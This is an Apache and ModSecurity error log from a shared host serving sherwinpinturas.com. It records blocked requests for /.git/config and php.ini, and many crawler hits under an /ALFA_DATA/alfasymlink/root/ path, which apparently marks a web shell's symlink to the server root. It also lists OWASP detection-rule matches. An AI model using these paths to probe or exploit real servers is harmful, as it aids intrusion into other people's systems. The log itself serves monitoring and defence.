[Sat Oct 24 08:30:03.917623 2026] [security2:error] [pid 2627273:tid 2627273] [client 35.237.81.236:26476] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atykyxdOhHN-18IxgZKq1gAAAAY"]
[Sat Oct 24 08:30:03.917894 2026] [security2:error] [pid 2627273:tid 2627273] [client 35.237.81.236:26476] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atykyxdOhHN-18IxgZKq1gAAAAY"]
[Sat Oct 24 08:30:03.918172 2026] [security2:error] [pid 2627273:tid 2627273] [client 35.237.81.236:26476] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atykyxdOhHN-18IxgZKq1gAAAAY"]
[Sat Oct 24 08:30:11.045946 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 44.215.231.15:62208] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:30:27.610699 2026] [ssl:error] [pid 2607843:tid 2607843] (5)Input/output error: [client 100.24.167.60:52120] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:30:30.257083 2026] [security2:error] [pid 2627309:tid 2627309] [client 34.23.185.185:49030] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyk5l0Yuvqa3nuKpvNCTQAAAAk"]
[Sat Oct 24 08:30:30.257391 2026] [security2:error] [pid 2627309:tid 2627309] [client 34.23.185.185:49030] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyk5l0Yuvqa3nuKpvNCTQAAAAk"]
[Sat Oct 24 08:30:30.257608 2026] [security2:error] [pid 2627309:tid 2627309] [client 34.23.185.185:49030] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyk5l0Yuvqa3nuKpvNCTQAAAAk"]
[Sat Oct 24 08:30:30.257914 2026] [security2:error] [pid 2627309:tid 2627309] [client 34.23.185.185:49030] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyk5l0Yuvqa3nuKpvNCTQAAAAk"]
[Sat Oct 24 08:30:47.171354 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 52.204.253.129:10808] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:30:51.286606 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 35.171.117.160:55264] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:31:03.549296 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.213.106.226:32457] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:31:07.404027 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 100.27.153.9:20522] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:31:11.411261 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 54.83.56.1:9113] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:31:11.692891 2026] [core:error] [pid 2635684:tid 2635684] (13)Permission denied: [client 85.208.96.204:47452] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_fib_trie/min_partial
[Sat Oct 24 08:31:15.464924 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 23.21.225.190:50384] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:31:23.302407 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 3.232.102.111:37181] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:31:27.366009 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 44.216.172.204:54739] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:31:31.564219 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.213.46.222:6617] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:31:39.592819 2026] [core:error] [pid 2635678:tid 2635678] (13)Permission denied: [client 52.22.64.232:14978] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/virtio-pci/new_id
[Sat Oct 24 08:31:43.530889 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 3.223.181.32:38393] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:31:46.317149 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 185.191.171.14:12814] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/key_jar/trace
[Sat Oct 24 08:31:47.347218 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 3.210.114.189:3094] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input3/subsystem/input4/event2/subsystem/input1/device/drvctl
[Sat Oct 24 08:31:51.346526 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 3.94.157.25:38285] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/0000:00:01.1/rescan
[Sat Oct 24 08:31:55.897178 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.216.227.216:37376] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:31:55.940538 2026] [core:crit] [pid 2625330:tid 2625330] (13)Permission denied: [client 159.89.13.98:28118] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 08:31:56.200337 2026] [authz_core:error] [pid 2635678:tid 2635678] [client 159.89.13.98:28128] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 08:31:59.426555 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 52.73.6.26:53897] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/devices/0000:00:01.1/driver/new_id
[Sat Oct 24 08:32:03.519083 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 34.206.193.60:20552] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:32:07.675584 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.221.203.24:25623] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:32:11.525427 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 34.205.170.13:52421] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:32:27.388104 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 100.28.133.214:37380] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:32:31.401642 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 18.233.24.238:14795] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:32:35.565692 2026] [core:error] [pid 2635684:tid 2635684] (13)Permission denied: [client 44.197.76.210:13139] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers_probe
[Sat Oct 24 08:32:43.429177 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 54.156.248.117:62017] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:32:51.643918 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 184.73.68.20:10999] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/devices/0000:00:01.1/driver/uevent
[Sat Oct 24 08:33:07.524172 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.224.9.144:40424] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:33:11.367838 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 98.83.10.183:21460] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:33:15.545267 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 52.2.4.213:63284] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/subsystem/devices/PNP0F13:00/physical_node/driver/uevent
[Sat Oct 24 08:33:19.429042 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 3.226.106.93:44228] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:33:31.336226 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.230.69.161:6117] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:33:39.350381 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 98.80.130.239:56951] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/PNP0A03:00/device:01/physical_node/rescan
[Sat Oct 24 08:33:43.236274 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 18.214.251.19:5482] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:33:47.395973 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.2.58.41:31772] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:33:51.319633 2026] [core:error] [pid 2635678:tid 2635678] (13)Permission denied: [client 18.204.89.56:37268] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXCPU:00/physical_node/driver/bind
[Sat Oct 24 08:33:59.165021 2026] [security2:error] [pid 2635677:tid 2635677] [client 23.23.104.107:39504] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/slots/30/module/"] [unique_id "atylt4Wurp-t0SwAQgRpZwAAAAQ"]
[Sat Oct 24 08:33:59.165086 2026] [security2:error] [pid 2635677:tid 2635677] [client 23.23.104.107:39504] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/slots/30/module/"] [unique_id "atylt4Wurp-t0SwAQgRpZwAAAAQ"]
[Sat Oct 24 08:34:02.673548 2026] [security2:error] [pid 2627309:tid 2627309] [client 43.157.52.37:36390] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/debug_nuevo-leon_1.html"] [unique_id "atylul0Yuvqa3nuKpvNCVQAAAAk"]
[Sat Oct 24 08:34:03.190938 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 184.73.167.217:37237] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:34:07.181204 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 54.84.250.51:63974] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:34:15.343508 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 54.157.84.74:52527] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:34:19.160557 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 34.227.156.153:25631] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:34:31.052262 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.208.223.68:36937] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:34:35.105169 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 3.211.105.134:30877] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:34:39.230980 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 3.230.69.161:46187] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:34:43.096238 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 54.221.203.24:14404] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:34:46.979097 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 18.215.24.66:23994] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:34:58.927684 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 52.0.218.219:5801] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:35:10.873351 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 34.203.111.15:31784] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:35:18.891809 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.70.209.13:44068] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:35:26.749916 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.212.205.90:47280] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:35:46.657755 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 54.156.124.2:39334] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:35:51.138406 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 185.191.171.13:11054] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_node/free_calls
[Sat Oct 24 08:35:51.307183 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 100.29.160.53:24276] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:35:52.682322 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 185.191.171.5:47722] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:35:54.697418 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 34.227.234.246:52196] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:35:58.724552 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 34.205.163.103:28353] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:13/subsystem/devices/device:03/physical_node/driver/new_id
[Sat Oct 24 08:36:02.701118 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 52.0.105.244:20310] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:36:05.932854 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 185.191.171.13:37908] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/serio_raw/sections/__mcount_loc
[Sat Oct 24 08:36:10.602999 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 34.197.28.78:41428] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:36:34.304728 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 44.221.105.234:64091] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:36:38.376853 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.205.113.104:5475] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:36:46.391970 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.147.80.137:14973] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:36:54.196130 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 44.206.93.215:44874] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/drivers/virtio-pci/0000:00:04.0/remove
[Sat Oct 24 08:36:58.448177 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 44.223.193.255:63112] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:37:02.176956 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 98.83.10.183:21815] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:37:08.158134 2026] [core:error] [pid 2635678:tid 2635678] (13)Permission denied: [client 85.208.96.211:19702] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_io_end/free_calls
[Sat Oct 24 08:37:10.327125 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 34.205.170.13:61928] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:37:18.182630 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.224.104.67:13412] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:37:22.198098 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 100.28.57.133:15380] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:37:38.193813 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 54.80.73.122:46303] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:37:42.179140 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 44.213.36.21:33548] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:37:46.183644 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 54.235.172.108:14697] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:37:46.183867 2026] [security2:error] [pid 2609012:tid 2609012] [client 54.235.172.108:14697] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/devices/0000:00:04.0/resource"] [unique_id "atymmnUcfBNBYE9xHAJBNAAAAAA"]
[Sat Oct 24 08:37:46.183906 2026] [security2:error] [pid 2609012:tid 2609012] [client 54.235.172.108:14697] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/devices/0000:00:04.0/resource"] [unique_id "atymmnUcfBNBYE9xHAJBNAAAAAA"]
[Sat Oct 24 08:37:50.170071 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 23.21.148.226:13608] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:37:54.192934 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.225.45.252:41375] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:38:06.197695 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.197.82.195:5668] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:38:07.218363 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 185.191.171.6:45054] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mnt_cache/slabs
[Sat Oct 24 08:38:10.183328 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 107.22.208.39:61778] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:38:14.300203 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 18.205.91.101:61041] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:38:22.163791 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 98.82.66.172:11528] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:38:30.337416 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 35.169.102.85:51710] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:38:31.683456 2026] [core:crit] [pid 2607843:tid 2607843] (13)Permission denied: [client 23.92.16.244:24974] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 08:38:31.690307 2026] [authz_core:error] [pid 2627309:tid 2627309] [client 23.92.16.244:24980] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Sat Oct 24 08:38:31.721809 2026] [authz_core:error] [pid 2625272:tid 2625272] [client 23.92.16.244:8786] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Sat Oct 24 08:38:34.222520 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 107.23.62.75:11348] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:38:42.366637 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 35.174.141.243:15147] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:01.0/firmware_node/PNP0400:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:14/eject
[Sat Oct 24 08:38:57.129800 2026] [authz_core:error] [pid 2625272:tid 2625272] [client 23.92.16.244:42824] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Sat Oct 24 08:39:02.324816 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 3.221.244.28:54693] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:39:07.419235 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 54.147.238.89:51767] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:39:10.164541 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 18.211.39.188:63879] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:39:10.829259 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 185.191.171.19:59872] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:39:22.293640 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 44.223.232.55:13339] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:39:26.154053 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 44.206.65.8:31790] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:39:34.338976 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 50.19.102.70:1814] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:39:41.791403 2026] [core:crit] [pid 2635676:tid 2635676] (13)Permission denied: [client 216.244.66.250:56866] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/125/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/125/fd/' is executable
[Sat Oct 24 08:39:41.791460 2026] [core:crit] [pid 2635676:tid 2635676] (13)Permission denied: [client 216.244.66.250:56866] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/125/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/125/map_files/' is executable
[Sat Oct 24 08:39:41.791488 2026] [core:crit] [pid 2635676:tid 2635676] (13)Permission denied: [client 216.244.66.250:56866] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/125/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/125/fdinfo/' is executable
[Sat Oct 24 08:39:44.652660 2026] [core:crit] [pid 2635678:tid 2635678] (13)Permission denied: [client 216.244.66.250:56880] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/fs/pstore/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/fs/pstore/' is executable
[Sat Oct 24 08:39:44.652757 2026] [core:crit] [pid 2635678:tid 2635678] (13)Permission denied: [client 216.244.66.250:56880] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/fs/bpf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/fs/bpf/' is executable
